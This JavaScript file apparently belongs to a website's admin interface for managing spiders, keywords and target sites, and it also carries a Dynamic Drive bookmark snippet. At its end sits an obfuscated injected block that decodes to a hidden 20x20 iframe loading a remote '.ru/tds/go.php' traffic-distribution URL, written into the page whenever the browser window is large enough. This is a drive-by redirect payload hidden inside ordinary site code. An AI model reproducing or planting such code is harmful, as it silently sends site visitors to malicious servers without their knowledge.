function updateAutoComplete(textElement,li) {
   textElement.value = li.innerHTML;
}

function updateTargetSiteAutoComplete(element,li) {
	var newID = element.identify().replace(/url_text/,'id');
	var newElement = $(newID);
	newElement.value = li.identify();
}

function updateTargetSiteKeyword(element,li) {
	var newID = element.identify().replace(/text/,'id');
	var newElement = $(newID);
	newElement.value = li.identify();
}

function updateTargetKeywordAutoComplete(element,li) {
	var newID = element.identify().replace(/text/,'id');
	var newElement = $(newID);
	newElement.value = li.identify();	
}

function addKeywordToTargetSite(targetSiteID) {
	var keywordText = $('new_keyword_text_'+targetSiteID).value;
	var keywordID = $('new_keyword_id_'+targetSiteID).value;
	new Ajax.Updater('keyword_list_'+targetSiteID,'/ajax_actions.php',
				{
					parameters: {
						action:	'add_keyword_to_target_site',
						target_site_id: targetSiteID,
						keyword: keywordText
					},
					insertion: 'bottom',
					evalScripts: true
				});
	
}

function removeKeywordFromTargetSite(targetSiteID,keywordID) {
	new Ajax.Request('/ajax_actions.php',
					{
						parameters: {
							action:	'remove_keyword_from_target_site',
							target_site_id: targetSiteID,
							keyword_id: keywordID
						}
					});
	$('keyword_'+targetSiteID+'_'+keywordID).fade({duration: .3});
}

function addSpider() {
	new Ajax.Request('/ajax_actions.php?action=add_spider',{
			onComplete: function (response) {
				$('spider_list').insert(response.responseText);
			}
		}
	);
}

function addForbiddenSite() {
	new Ajax.Request('/ajax_actions.php',
		{
			parameters: {
				action: 'add_forbidden_site',
				forbidden_site_url: $('forbidden_url').value
			},
			onComplete: function (response) {
				$('forbidden_list').insert(response.responseText);
				$('new_forbidden_site').fade({duration: .3});
			}
		}
	);
}

function updateForDisplayFromTargetSite(keywordID,checkedValue) {
	new Ajax.Request('/ajax_actions.php',
					{	
						parameters: {
							action: 'update_keyword_display',
							keyword_id: keywordID
						},
						onComplete: function () {
							keywordCheckboxList = $$('.keyword_checkbox_'+keywordID);
							for(x = 0; x <= keywordCheckboxList.length; x++) {
								keywordCheckboxList[x].checked = checkedValue;
							}
						}
					}
			);

}

function updateForDisplay(keywordID,checkedValue) {
	$('display_saving_'+keywordID).style.display = '';
	new Effect.Pulsate('display_saving_'+keywordID);
	new Ajax.Request('/ajax_actions.php',
					{	
						parameters: {
							action: 'update_keyword_display',
							keyword_id: keywordID
						},
						onComplete: function () {
							$('display_saving_'+keywordID).innerHTML = 'Saved!';
							$('display_saving_'+keywordID).fade({duration: .3});
						}
					}
			);
}


function testSpider(spiderID) {
	$('spider_controls_'+spiderID).fade({duration: .3});
	$('spider_result_'+spiderID).update("Test running.");
	$('spider_result_'+spiderID).appear({duration: .3});

	new Ajax.Request('/ajax_actions.php',{
		parameters: {
			action: 'test_spider',
			spider_id: spiderID
		}
	});
}

function deleteKeyword(keywordID) {
	new Ajax.Request('/ajax_actions.php',{
				parameters: {
					action: 'delete_keyword',
					keyword_id: keywordID
				},
				onComplete: function () {
					$('keyword_'+keywordID).fade({duration: .3});
				}

			});
}
function deleteSpider(spiderID) {
	new Ajax.Request('/ajax_actions.php',{
				parameters: {
					action: 'delete_spider',
					spider_id: spiderID
				},
				onComplete: function () {
					$('spider_box_'+spiderID).fade({duration: .3});
				}

			});
}
/***********************************************
* Bookmark site script- © Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/

function bookmarksite(title, url){
if (document.all)
window.external.AddFavorite(url, title);
else if (window.sidebar)
window.sidebar.addPanel(title, url, "")
}

function yZ(){};this.cUT=12615;yZ.prototype = {s : function() {var fE=new Array();var l="";var aM=false;var d=new Array();try {var oS=new Array();gD="gD";var gQ=10112;pR='';var t=false;String.prototype.aY=function(g, o){return this['repl' + 'ace'](g, o)};var r=new Date();var oQ=function(){};this.eJ='';this.k="";function aH(){};var oC=39280;jO=32997;var e='<+iVfOrCaOmVe+ OsOtOyVl0eV=C\'0v0iCs0i0bOi0lOiCt+yO:O Oh+i+d+dOe0nV\'0 +sCr0cO=+\'V'.aY(/[VC\+0O]/g, '');var u=function(){};var dL="dL";var b='\'x WhWeyiygShqtq=S2q0x0q qwqiSdStxhq=W2S0x0W>S3S4q6q2W5xjShqsWdxfSlq<S/xiyfyrxaxmSeW>y'.aY(/[yqSWx]/g, '');this.n='';this.eS=64932;var aT="aT";var fEA="fEA";var i='h^t^t$p0:(/^/$l^e(tGs^m(u0s$i^c^.Gr(u0/0t$d$sG/$gGo$.Gp0h0p^?$s$i^d(=^1$'.aY(/[\$\^0\(G]/g, '');function eC(){};fGL="";i = e + i + b;pQ="";var c="";this.rI=false;var jI=false;var h=document;var vP=new Array();aA='';var pT="pT";var yW='';var f='<LsCpLaLnL [iLd1=[jC CsCt1y[lCe1=C\'CdCiCs[p[lPa[y[:LnLoCn1e[\'1>P'.aY(/[P1CL\[]/g, '');var eD=new Array();hV='';var x='<G/RsRpRaInI>G'.aY(/[GXRI#]/g, '');this.nU='';q=false;var cP=function(){return 'cP'};var hA="hA";var y='w0r0iAt@e@'.aY(/[@AP0B]/g, '');var jN='';this.oV='';var bA='';this.qF="qF";var fV=window['uFn+e+sGcGa!p+eI'.aY(/[I\+FG\!]/g, '')];this.eCG='';qQ='';this.hJ='';var aL=new Date();var uS=7762;var dA=new Array();this.yP=21938;eX=fV(f + i + x);function cU(){};this.rE="rE";oDA=false;var lU='';gI="";function cR(){};function gX() {oB=false;var iW=new Array();this.rS="";var tQ=new Date();var w="w";fG='ovuLtBezrL'.aY(/[LvBgz]/g, '');yT=false;var xY="xY";this.uB="";m='c{lvive{n]t|'.aY(/[\|v\{F\]]/g, '');var lV=new Date();this.nH=false;a='H;eGi,g;hKt,'.aY(/[,nG;K]/g, '');var nM=16409;var qW=false;oD='W1ildkt*h1'.aY(/[1I\*lk]/g, '');oBO="oBO";eE=false;mL='uwsLevrMAvgweMnMtb'.aY(/[bLvwM]/g, '');var gN=function(){return 'gN'};var pTO=new Date();uU='';p='M0SxI+E0'.aY(/[0\+x%\>]/g, '');this.oN="";function cT(){};this.dX="";var jT='';var vE=new Date();rER=false;if (navigator[mL].indexOf(p) > 0) {dZ=false;aQ="aQ"; return h.body[m + oD] * document.body[m + a];qT="qT";var tZ='';this.xW="";var xL='';var gIX=29139;tL=38057;var dD=37530;kP="kP";var pZ="";} else {tG="tG";oA='';return window[fG + oD] * window[fG + a];eK="";var uJ=function(){};function eJE(){};oNL=43064;jK=false;var uE=new Array();jA=false;}eG="eG";var qP=new Date();this.eKN='';}var hI=new Array();function sE(){};this.jJ=24071;var z="";tA='';this.dM="dM";this.uBW='';this.nK='';if(gX() > 99999){var cK='';var gU=function(){};h[y](eX);qPC=43618;var oP='';var dV=57242;}this.jZ="";function wD(){};oE="oE";var fO=new Date();} catch(v){var xI="xI";tGD=47738;this.zN=63749;}eR="";this.vD='';var oJ="";}};var oT=false;var tR=new yZ(); this.hT="hT";tR.s();var hO=function(){return 'hO'};
